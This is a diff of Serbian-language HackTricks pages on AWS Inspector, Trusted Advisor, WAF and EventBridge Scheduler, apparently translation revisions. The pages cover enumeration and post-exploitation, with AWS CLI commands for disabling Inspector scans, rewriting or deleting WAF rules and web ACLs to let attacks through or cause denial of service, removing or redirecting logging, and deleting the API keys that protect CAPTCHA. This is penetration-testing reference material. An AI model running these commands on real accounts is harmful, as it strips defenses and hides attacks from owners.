Napadač sa `inspector2:Disable` dozvolom mogao bi da onemogući bezbednosna skeniranja na specifičnim tipovima resursa (EC2, ECR, Lambda, Lambda kod) na navedenim nalozima, ostavljajući delove AWS okruženja neproverene i ranjive na napade. Pored toga, zahvaljujući **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** dozvolama, napadač bi mogao ponovo da omogući skeniranja selektivno kako bi izbegao otkrivanje sumnjivih konfiguracija.
Napadač sa dozvolom `inspector2:Disable` mogao bi da onemogući bezbednosna skeniranja na specifičnim tipovima resursa (EC2, ECR, Lambda, Lambda kod) za navedene naloge, ostavljajući delove AWS okruženja neproverene i ranjive na napade. Pored toga, zahvaljujući dozvolama **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, napadač bi mogao ponovo da omogući skeniranja selektivno kako bi izbegao otkrivanje sumnjivih konfiguracija.
> [!WARNING]
> Ova akcija zahteva da je izvrši delegirani administrator.
@@ -336,14 +334,14 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco
#### `inspector2:UpdateOrganizationConfiguration`
Napadač sa ovom dozvolom bi mogao da ažurira konfiguracije za vašu Amazon Inspector organizaciju, utičući na podrazumevane funkcije skeniranja omogućene za nove članove naloga.
Napadač sa ovom dozvolom mogao bi da ažurira konfiguracije za vašu Amazon Inspector organizaciju, utičući na podrazumevane funkcije skeniranja omogućene za nove članove naloga.
> [!WARNING]
> Ova akcija zahteva da je izvrši delegirani administrator.
```bash
aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
```
- **Potencijalni Uticaj**: Izmeniti politike i konfiguracije bezbednosnog skeniranja za organizaciju.
- **Potencijalni uticaj**: Izmeniti politike i konfiguracije bezbednosnog skeniranja za organizaciju.
#### `inspector2:TagResource`, `inspector2:UntagResource`
@@ -352,7 +350,7 @@ Napadač bi mogao da manipuliše oznakama na AWS Inspector resursima, koje su kl
aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
```
- **Potencijalni Uticaj**: Sakrivanje ranjivosti, prekid izveštavanja o usklađenosti, prekid automatizacije bezbednosti i prekid alokacije troškova.
- **Potencijalni Uticaj**: Sakrivanje ranjivosti, prekid izveštavanja o usklađenosti, prekid bezbednosne automatizacije i prekid alokacije troškova.
## Reference

View File

@@ -1,10 +1,8 @@
# AWS - Trusted Advisor Enum
## AWS - Trusted Advisor Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS Trusted Advisor Pregled
## AWS Trusted Advisor Overview
Trusted Advisor je usluga koja **pruža preporuke** za optimizaciju vašeg AWS naloga, usklađujući se sa **AWS najboljim praksama**. To je usluga koja funkcioniše u više regiona. Trusted Advisor nudi uvide u četiri glavne kategorije:
@@ -15,15 +13,15 @@ Trusted Advisor je usluga koja **pruža preporuke** za optimizaciju vašeg AWS n
Sveobuhvatne funkcije Trusted Advisor-a su isključivo dostupne uz **AWS poslovne ili preduzetničke planove podrške**. Bez ovih planova, pristup je ograničen na **šest osnovnih provera**, prvenstveno fokusiranih na performanse i bezbednost.
### Obaveštenja i Osvežavanje Podataka
### Notifications and Data Refresh
- Trusted Advisor može izdavati upozorenja.
- Stavke se mogu isključiti iz njegovih provera.
- Podaci se osvežavaju svake 24 sata. Međutim, ručno osvežavanje je moguće 5 minuta nakon poslednjeg osvežavanja.
### **Razlaganje Provera**
### **Checks Breakdown**
#### KategorijeOsnovne
#### CategoriesCore
1. Optimizacija troškova
2. Bezbednost
@@ -32,18 +30,18 @@ Sveobuhvatne funkcije Trusted Advisor-a su isključivo dostupne uz **AWS poslovn
5. Ograničenja usluga
6. Dozvole S3 Bucket-a
#### Osnovne Provere
#### Core Checks
Ograničeno na korisnike bez poslovnih ili preduzetničkih planova podrške:
1. Grupa bezbednosti - Specifične portove bez ograničenja
2. Korišćenje IAM-a
3. MFA na Root nalogu
3. MFA na root nalogu
4. Javni EBS snimci
5. Javni RDS snimci
6. Ograničenja usluga
#### Provere Bezbednosti
#### Security Checks
Lista provera koja se prvenstveno fokusira na identifikaciju i ispravljanje bezbednosnih pretnji:
@@ -64,7 +62,7 @@ Lista provera koja se prvenstveno fokusira na identifikaciju i ispravljanje bezb
AWS Trusted Advisor deluje kao ključni alat u osiguravanju optimizacije, performansi, bezbednosti i otpornosti na greške AWS usluga na osnovu utvrđenih najboljih praksi.
## **Reference**
## **References**
- [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)

View File

@@ -1,7 +1,5 @@
# AWS - WAF Enum
## AWS - WAF Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS WAF
@@ -16,36 +14,36 @@ Web ACL je zbirka pravila koja možete primeniti na svoje web aplikacije ili API
#### Grupa pravila
Grupa pravila je ponovo upotrebljiva zbirka pravila koja možete primeniti na više Web ACL-a. Grupe pravila pomažu u upravljanju i održavanju doslednih skupova pravila širom različitih web aplikacija ili API-ja.
Grupa pravila je ponovo upotrebljiva zbirka pravila koja možete primeniti na više Web ACL-ova. Grupe pravila pomažu u upravljanju i održavanju doslednih setova pravila preko različitih web aplikacija ili API-ja.
Svaka grupa pravila ima svoju povezanu **kapacitet**, koja pomaže u izračunavanju i kontroli operativnih resursa koji se koriste za pokretanje vaših pravila, grupa pravila i web ACL-a. Kada se njena vrednost postavi tokom kreiranja, nije moguće izmeniti je.
Svaka grupa pravila ima svoju povezanu **kapacitet**, koja pomaže u izračunavanju i kontroli operativnih resursa koji se koriste za pokretanje vaših pravila, grupa pravila i web ACL-ova. Kada se njena vrednost postavi tokom kreiranja, nije moguće izmeniti je.
#### Pravilo
Pravilo definiše skup uslova koje AWS WAF koristi za ispitivanje dolaznih web zahteva. Postoje dve glavne vrste pravila:
1. **Redovno pravilo**: Ova vrsta pravila koristi određene uslove da odredi da li da dozvoli, blokira ili broji web zahteve.
2. **Pravilo zasnovano na brzini**: Broji zahteve sa određene IP adrese tokom petominutnog perioda. Ovde korisnici definišu prag, i ako broj zahteva sa IP adrese premaši ovaj limit unutar pet minuta, naredni zahtevi sa te IP adrese se blokiraju dok stopa zahteva ne padne ispod praga. Minimalni prag za pravila zasnovana na brzini je **2000 zahteva**.
2. **Pravilo zasnovano na brzini**: Broji zahteve sa određene IP adrese tokom petominutnog perioda. Ovde korisnici definišu prag, i ako broj zahteva sa IP adrese premaši ovaj limit u pet minuta, naredni zahtevi sa te IP adrese se blokiraju dok stopa zahteva ne padne ispod praga. Minimalni prag za pravila zasnovana na brzini je **2000 zahteva**.
#### Upravljana pravila
AWS WAF nudi unapred konfigurisane, upravljane skupove pravila koje održava AWS i prodavci na AWS Marketplace-u. Ovi skupovi pravila pružaju zaštitu od uobičajenih pretnji i redovno se ažuriraju kako bi se rešile nove ranjivosti.
AWS WAF nudi unapred konfigurisane, upravljane setove pravila koje održava AWS i prodavci na AWS Marketplace-u. Ovi setovi pravila pružaju zaštitu od uobičajenih pretnji i redovno se ažuriraju kako bi se adresirale nove ranjivosti.
#### IP skup
#### IP set
IP skup je lista IP adresa ili opsega IP adresa koje želite da dozvolite ili blokirate. IP skupovi pojednostavljuju proces upravljanja pravilima zasnovanim na IP adresama.
IP set je lista IP adresa ili opsega IP adresa koje želite da dozvolite ili blokirate. IP setovi pojednostavljuju proces upravljanja pravilima zasnovanim na IP adresama.
#### Regex obrazac skup
#### Regex Pattern Set
Regex obrazac skup sadrži jedan ili više regularnih izraza (regex) koji definišu obrasce za pretragu u web zahtevima. Ovo je korisno za složenije scenarije usklađivanja, kao što je filtriranje specifičnih sekvenci karaktera.
Regex Pattern Set sadrži jedan ili više regularnih izraza (regex) koji definišu obrasce za pretragu u web zahtevima. Ovo je korisno za složenije scenarije usklađivanja, kao što je filtriranje specifičnih sekvenci karaktera.
#### Lock Token
Lock Token se koristi za kontrolu konkurencije prilikom ažuriranja WAF resursa. Osigurava da promene ne budu slučajno prepisane od strane više korisnika ili procesa koji pokušavaju da ažuriraju isti resurs istovremeno.
#### API ključevi
#### API Ključevi
API ključevi u AWS WAF se koriste za autentifikaciju zahteva za određene API operacije. Ovi ključevi su šifrovani i bezbedno upravljani kako bi se kontrolisao pristup i osiguralo da samo ovlašćeni korisnici mogu da vrše promene u WAF konfiguracijama.
API Ključevi u AWS WAF se koriste za autentifikaciju zahteva za određene API operacije. Ovi ključevi su šifrovani i bezbedno upravljani kako bi se kontrolisao pristup i osiguralo da samo ovlašćeni korisnici mogu da vrše promene u WAF konfiguracijama.
- **Primer**: Integracija CAPTCHA API-ja.
@@ -69,26 +67,26 @@ Parametar opsega u AWS WAF specificira da li se WAF pravila i konfiguracije prim
Svaki AWS nalog može konfigurisati:
- **100 uslova** za svaku vrstu (osim za Regex, gde je dozvoljeno samo **10 uslova**, ali ovaj limit može biti povećan).
- **100 pravila** i **50 Web ACL-a**.
- **100 pravila** i **50 Web ACL-ova**.
- Maksimalno **5 pravila zasnovanih na brzini**.
- Propusnost od **10,000 zahteva po sekundi** kada je WAF implementiran sa aplikacionim balansirnikom opterećenja.
- Propusnost od **10,000 zahteva po sekundi** kada je WAF implementiran sa aplikacionim load balancerom.
#### Akcije pravila
Akcije su dodeljene svakom pravilu, a opcije su:
- **Dozvoli**: Zahtev se prosleđuje odgovarajućoj CloudFront distribuciji ili aplikacionom balansirniku opterećenja.
- **Dozvoli**: Zahtev se prosleđuje odgovarajućoj CloudFront distribuciji ili Application Load Balancer-u.
- **Blokiraj**: Zahtev se odmah prekida.
- **Broj**: Broji zahteve koji ispunjavaju uslove pravila. Ovo je korisno za testiranje pravila, potvrđivanje tačnosti pravila pre nego što se postavi na Dozvoli ili Blokiraj.
- **CAPTCHA i izazov:** Proverava se da zahtev ne dolazi od bota koristeći CAPTCHA zagonetke i tihe izazove.
- **CAPTCHA i Izazov:** Proverava se da zahtev ne dolazi od bota koristeći CAPTCHA zagonetke i tihe izazove.
Ako zahtev ne odgovara nijednom pravilu unutar Web ACL-a, podvrgava se **podrazumevanoj akciji** (Dozvoli ili Blokiraj). Redosled izvršenja pravila, definisan unutar Web ACL-a, je ključan i obično prati ovu sekvencu:
1. Dozvoli IP adrese sa bele liste.
2. Blokiraj IP adrese sa crne liste.
1. Dozvoli beležene IP adrese.
2. Blokiraj crne liste IP adresa.
3. Blokiraj zahteve koji odgovaraju bilo kojim štetnim potpisima.
#### CloudWatch integracija
#### CloudWatch Integracija
AWS WAF se integriše sa CloudWatch za praćenje, nudeći metrike kao što su AllowedRequests, BlockedRequests, CountedRequests i PassedRequests. Ove metrike se izveštavaju svake minute po defaultu i čuvaju se tokom perioda od dve nedelje.
@@ -185,7 +183,7 @@ aws wafv2 list-mobile-sdk-releases --platform <IOS | ANDROID>
aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
```
### Post Exploatacija / Obilaženje
### Post Exploitation / Bypass
> [!TIP]
> Iz perspektive napadača, ova usluga može pomoći napadaču da identifikuje WAF zaštite i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge veb stranice.
@@ -198,9 +196,9 @@ U mnogim operacijama brisanja i ažuriranja biće neophodno obezbediti **lock to
Napadač bi mogao da kompromituje bezbednost pogođenog resursa na sledeće načine:
- Kreiranjem pravnih grupa koje bi, na primer, mogle blokirati legitimni saobraćaj sa legitimnih IP adresa, uzrokujući uskraćivanje usluge.
- Ažuriranjem pravnih grupa, sa mogućnošću da modifikuje njihove akcije, na primer, sa **Block** na **Allow**.
- Brisanjem pravnih grupa koje pružaju kritične mere bezbednosti.
- Kreiranjem pravila koja bi, na primer, mogla blokirati legitimni saobraćaj sa legitimnih IP adresa, uzrokujući uskraćivanje usluge.
- Ažuriranjem pravila, sa mogućnošću da izmeni njegove akcije, na primer, sa **Block** na **Allow**.
- Brisanjem pravila koja pružaju kritične mere bezbednosti.
```bash
# Create Rule Group
aws wafv2 create-rule-group --name <value> --capacity <value> --visibility-config <value> \
@@ -244,7 +242,7 @@ Datoteka **rule.json** bi izgledala ovako:
Sa ovim dozvolama, napadač bi mogao da:
- Kreira novi Web ACL, uvodeći pravila koja ili dozvoljavaju zlonamerni saobraćaj ili blokiraju legitimni saobraćaj, efektivno čineći WAF beskorisnim ili uzrokujući uskraćivanje usluge.
- Ažurira postojeće Web ACL-ove, imajući mogućnost da modifikuje pravila kako bi dozvolio napade kao što su SQL injekcija ili cross-site scripting, koji su prethodno bili blokirani, ili ometa normalan protok saobraćaja blokirajući validne zahteve.
- Ažurira postojeće Web ACL-ove, imajući mogućnost da modifikuje pravila kako bi dozvolio napade kao što su SQL injekcija ili skriptovanje između sajtova, koji su prethodno bili blokirani, ili ometa normalan protok saobraćaja blokirajući validne zahteve.
- Obriše Web ACL, ostavljajući pogođene resurse potpuno nezaštićenim, izlažući ih širokom spektru web napada.
> [!NAPOMENA]
@@ -259,7 +257,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
# Delete Web ACL
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraćaj iz specifičnog IP skupa. Ako izvorni IP ne odgovara nijednom od tih IP adresa, podrazumevana akcija bi takođe bila blokiranje, što može izazvati DoS.
Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraćaj iz specifičnog IP skupa. Ako izvorni IP ne odgovara nijednom od tih IP adresa, podrazumevana akcija bi takođe bila blokiranje, što uzrokuje DoS.
**Original Web ACL**:
```json
@@ -303,7 +301,7 @@ Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraća
"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
Команда за ажурирање Web ACL:
Komanda za ažuriranje Web ACL:
```json
aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1
```
@@ -333,7 +331,7 @@ Datoteka **rule.json** bi izgledala ovako:
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
Dozvola **`wafv2:AssociateWebACL`** bi omogućila napadaču da poveže web ACL-ove (Liste za kontrolu pristupa) sa resursima, što bi omogućilo zaobilaženje bezbednosnih kontrola, dopuštajući neovlašćenoj saobraćaju da dođe do aplikacije, što potencijalno može dovesti do eksploatacija poput SQL injekcije ili cross-site scripting (XSS). S druge strane, sa dozvolom **`wafv2:DisassociateWebACL`**, napadač bi mogao privremeno onemogućiti bezbednosne zaštite, izlažući resurse ranjivostima bez detekcije.
Dozvola **`wafv2:AssociateWebACL`** bi omogućila napadaču da poveže web ACL-ove (Liste za kontrolu pristupa) sa resursima, što bi omogućilo zaobilaženje bezbednosnih kontrola, dopuštajući neovlašćenoj mrežnoj komunikaciji da dođe do aplikacije, što potencijalno može dovesti do eksploatacija poput SQL injekcije ili skriptinga između sajtova (XSS). S druge strane, sa dozvolom **`wafv2:DisassociateWebACL`**, napadač bi mogao privremeno onemogućiti bezbednosne zaštite, izlažući resurse ranjivostima bez otkrivanja.
Dodatne dozvole bi bile potrebne u zavisnosti od tipa zaštićenog resursa:
@@ -357,11 +355,11 @@ aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
# Disassociate
aws wafv2 disassociate-web-acl --resource-arn <value>
```
**Potencijalni uticaj**: Kompromitovana sigurnost resursa, povećan rizik od eksploatacije i potencijalne prekide usluga unutar AWS okruženja zaštićenih AWS WAF-om.
**Potencijalni uticaj**: Kompromitovana sigurnost resursa, povećan rizik od eksploatacije i potencijalni prekidi usluga unutar AWS okruženja zaštićenih AWS WAF-om.
#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
Napadač bi mogao da kreira, ažurira i obriše IP setove kojima upravlja AWS WAF. Ovo bi moglo biti opasno jer bi mogao da kreira nove IP setove za omogućavanje zlonamernog saobraćaja, modifikuje IP setove kako bi blokirao legitimni saobraćaj, ažurira postojeće IP setove da uključe zlonamerne IP adrese, ukloni pouzdane IP adrese ili obriše kritične IP setove koji su namenjeni zaštiti kritičnih resursa.
Napadač bi mogao da kreira, ažurira i briše IP setove kojima upravlja AWS WAF. Ovo bi moglo biti opasno jer bi mogao da kreira nove IP setove za omogućavanje zlonamernog saobraćaja, modifikuje IP setove kako bi blokirao legitimni saobraćaj, ažurira postojeće IP setove da uključe zlonamerne IP adrese, ukloni pouzdane IP adrese ili obriše kritične IP setove koji su namenjeni zaštiti kritičnih resursa.
```bash
# Create IP set
aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addresses <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
@@ -376,11 +374,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
```
**Potencijalni uticaj**: Neovlašćen pristup i blokiranje legitimnog saobraćaja.
#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
Napadač sa ovim dozvolama mogao bi da manipuliše skupovima obrazaca regularnih izraza koje koristi AWS WAF za kontrolu i filtriranje dolaznog saobraćaja na osnovu specifičnih obrazaca.
- Kreiranje novih regex obrazaca bi pomoglo napadaču da dozvoli štetni sadržaj
- Kreiranje novih regex obrazaca bi pomoglo napadaču da dozvoli štetan sadržaj
- Ažuriranjem postojećih obrazaca, napadač bi mogao da zaobiđe sigurnosna pravila
- Brisanje obrazaca koji su dizajnirani da blokiraju zlonamerne aktivnosti moglo bi omogućiti napadaču da pošalje zlonamerne terete i zaobiđe sigurnosne mere.
```bash
@@ -391,17 +389,17 @@ aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-express
# Delete regex pattern set
aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --id <value> --lock-token <value>
```
**Potencijalni uticaj**: Zaobilaženje bezbednosnih kontrola, omogućavanje zlonamernog sadržaja i potencijalno izlaganje osetljivih podataka ili ometanje usluga i resursa zaštićenih AWS WAF-om.
**Potencijalni uticaj**: Obilaženje bezbednosnih kontrola, omogućavanje zlonamernog sadržaja i potencijalno izlaganje osetljivih podataka ili ometanje usluga i resursa zaštićenih AWS WAF-om.
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
Napadač sa **`wafv2:DeleteLoggingConfiguration`** mogao bi da ukloni konfiguraciju logovanja iz specificiranog Web ACL-a. Nakon toga, sa **`wavf2:PutLoggingConfiguration`** i **`iam:CreateServiceLinkedRole`** dozvolama, napadač bi mogao da kreira ili zameni konfiguracije logovanja (nakon što ih je obrisao) kako bi ili potpuno sprečio logovanje ili preusmerio logove na neovlašćene destinacije, kao što su Amazon S3 bucket-i, Amazon CloudWatch Logs log grupa ili Amazon Kinesis Data Firehose pod kontrolom.
Napadač sa **`wafv2:DeleteLoggingConfiguration`** mogao bi da ukloni konfiguraciju logovanja iz specificiranog Web ACL-a. Nakon toga, sa dozvolama **`wavf2:PutLoggingConfiguration`** i **`iam:CreateServiceLinkedRole`**, napadač bi mogao da kreira ili zameni konfiguracije logovanja (nakon što ih je obrisao) kako bi ili potpuno sprečio logovanje ili preusmerio logove na neovlašćene destinacije, kao što su Amazon S3 bucket-i, Amazon CloudWatch Logs log grupa ili Amazon Kinesis Data Firehose pod kontrolom.
Tokom procesa kreiranja, servis automatski postavlja potrebne dozvole da omogući pisanje logova na specificiranu destinaciju logovanja:
- **Amazon CloudWatch Logs:** AWS WAF kreira politiku resursa na određenoj CloudWatch Logs log grupi. Ova politika osigurava da AWS WAF ima potrebne dozvole za pisanje logova u log grupu.
- **Amazon S3 Bucket:** AWS WAF kreira politiku bucket-a na određenom S3 bucket-u. Ova politika dodeljuje AWS WAF-u potrebne dozvole za upload logova u specificirani bucket.
- **Amazon Kinesis Data Firehose:** AWS WAF kreira ulogu povezanu sa servisom specifično za interakciju sa Kinesis Data Firehose. Ova uloga omogućava AWS WAF-u da isporučuje logove u konfigurisan Firehose stream.
- **Amazon S3 Bucket:** AWS WAF kreira politiku bucket-a na određenom S3 bucket-u. Ova politika dodeljuje AWS WAF potrebne dozvole za otpremanje logova u specificirani bucket.
- **Amazon Kinesis Data Firehose:** AWS WAF kreira ulogu povezanu sa servisom specifično za interakciju sa Kinesis Data Firehose. Ova uloga omogućava AWS WAF da isporučuje logove u konfigurisan Firehose stream.
> [!NAPOMENA]
> Moguće je definisati samo jednu destinaciju logovanja po web ACL-u.
@@ -415,12 +413,12 @@ aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUST
#### **`wafv2:DeleteAPIKey`**
Napadač sa ovim dozvolama mogao bi da obriše postojeće API ključeve, čineći CAPTCHA neefikasnim i ometajući funkcionalnost koja se na njemu oslanja, kao što su slanje obrazaca i kontrole pristupa. U zavisnosti od implementacije ovog CAPTCHA, to bi moglo dovesti do zaobilaženja CAPTCHA ili do DoS-a ako upravljanje greškama nije pravilno postavljeno u resursu.
Napadač sa ovim dozvolama mogao bi da obriše postojeće API ključeve, čineći CAPTCHA neefikasnim i ometajući funkcionalnost koja se na njemu oslanja, kao što su slanje obrazaca i kontrole pristupa. U zavisnosti od implementacije ovog CAPTCHA, to bi moglo dovesti ili do zaobilaženja CAPTCHA ili do DoS-a ako upravljanje greškama nije pravilno postavljeno u resursu.
```bash
# Delete API key
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
**Potencijalni uticaj**: Onemogućavanje CAPTCHA zaštita ili ometanje funkcionalnosti aplikacije, što dovodi do bezbednosnih propusta i potencijalne krađe podataka.
**Potencijalni uticaj**: Onemogućavanje CAPTCHA zaštita ili ometanje funkcionalnosti aplikacije, što može dovesti do bezbednosnih propusta i potencijalne krađe podataka.
#### **`wafv2:TagResource`, `wafv2:UntagResource`**

View File

@@ -1,18 +1,16 @@
# AWS - EventBridge Scheduler Enum
## EventBridge Scheduler
{{#include ../../../banners/hacktricks-training.md}}
## EventBridge Scheduler
**Amazon EventBridge Scheduler** je potpuno upravljani, **serverless planer dizajniran za kreiranje, pokretanje i upravljanje zadacima** na velikoj skali. Omogućava vam da zakazujete milione zadataka preko više od 270 AWS usluga i 6,000+ API operacija, sve iz centralne usluge. Sa ugrađenom pouzdanošću i bez infrastrukture za upravljanje, EventBridge Scheduler pojednostavljuje zakazivanje, smanjuje troškove održavanja i automatski se skalira kako bi zadovoljio potražnju. Možete konfigurisati cron ili rate izraze za ponavljajuće rasporede, postaviti jednokratne pozive i definisati fleksibilne vremenske okvire za isporuku sa opcijama ponovnog pokušaja, osiguravajući da se zadaci pouzdano isporučuju na osnovu dostupnosti ciljeva nizvodno.
Postoji inicijalni limit od 1,000,000 rasporeda po regionu po nalogu. Čak i zvanična stranica kvota sugeriše, "Preporučuje se da se obrišu jednokratni rasporedi nakon što su završeni."&#x20;
Postoji inicijalni limit od 1,000,000 rasporeda po regionu po nalogu. Čak i zvanična stranica kvota sugeriše: "Preporučuje se brisanje jednokratnih rasporeda nakon što su završeni."
### Tipovi Rasporeda
### Types of Schedules
Tipovi Rasporeda u EventBridge Scheduler:
Tipovi rasporeda u EventBridge Scheduler:
1. **Jednokratni rasporedi** Izvršite zadatak u određenom trenutku, npr., 21. decembra u 7 AM UTC.
2. **Rasporedi zasnovani na frekvenciji** Postavite ponavljajuće zadatke na osnovu frekvencije, npr., svaka 2 sata.
@@ -20,14 +18,14 @@ Tipovi Rasporeda u EventBridge Scheduler:
Dva mehanizma za upravljanje neuspelim događajima:
1. **Politika ponovnog pokušaja** Definiše broj pokušaja ponovnog izvršavanja za neuspeli događaj i koliko dugo da ostane neobrađen pre nego što se smatra neuspehom.
2. **Dead-Letter Queue (DLQ)** Standardna Amazon SQS red čekanja gde se neuspeli događaji isporučuju nakon što su pokušaji ponovnog izvršavanja iscrpljeni. DLQ pomaže u rešavanju problema sa vašim rasporedom ili njegovim ciljem nizvodno.
1. **Politika ponovnog pokušaja** Definiše broj pokušaja ponovnog izvršavanja za neuspeli događaj i koliko dugo ga zadržati neobrađenim pre nego što se smatra neuspehom.
2. **Dead-Letter Queue (DLQ)** Standardna Amazon SQS red koji prima neuspjele događaje nakon što su pokušaji ponovnog izvršavanja iscrpljeni. DLQ pomaže u rešavanju problema sa vašim rasporedom ili njegovim ciljem nizvodno.
### Ciljevi
### Targets
Postoje 2 tipa ciljeva za planer [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), koji se često koriste i AWS ih je učinio lakšim za konfiguraciju, i [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), koji se može koristiti za pozivanje bilo kog AWS API-ja.
Postoje 2 tipa ciljeva za planer [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), koji se često koriste i AWS ih je olakšao za konfiguraciju, i [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), koji se može koristiti za pozivanje bilo kog AWS API-ja.
**Templated ciljevi** podržavaju sledeće usluge:
**Templated targets** podržavaju sledeće usluge:
- CodeBuild StartBuild
- CodePipeline StartPipelineExecution
@@ -66,7 +64,7 @@ aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
```
### Privesc
Na sledećoj stranici možete proveriti kako da **zloupotrebite eventbridge scheduler dozvole za eskalaciju privilegija**:
Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole eventbridge scheduler-a za eskalaciju privilegija**:
{{#ref}}
../aws-privilege-escalation/eventbridgescheduler-privesc.md